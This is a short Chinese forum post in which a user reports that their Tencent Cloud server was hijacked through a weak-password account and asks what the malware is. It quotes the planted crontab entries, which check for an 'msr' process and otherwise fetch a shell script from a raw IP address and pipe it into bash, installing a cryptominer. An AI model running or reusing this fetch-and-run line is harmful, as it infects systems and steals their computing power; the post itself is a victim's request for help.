腾讯云小主机被入侵部了一个挖矿程序
資深大佬 : wmhx 52
好久没登录了, 今天发现很卡,就发现有个简单密码的用户的 crontab 被改了执行一个 msr 程序:
crontab -l: */15 * * * * [ “$(ps -fe|grep msr|grep -v grep|wc -l)” -eq 0 ] && wget -qO – http://185.43.207.36/.d/test.sh | bash @reboot [ “$(ps -fe|grep msr|grep -v grep|wc -l)” -eq 0 ] && wget -qO – http://185.43.207.36/.d/test.sh | bash
那个 test.sh 可以下载,没看懂内容, 只知道执行了一个 msr 的程序特别耗 CPU;
没看出来这是啥东西. 谁帮忙给介绍下.
大佬有話說 (3)
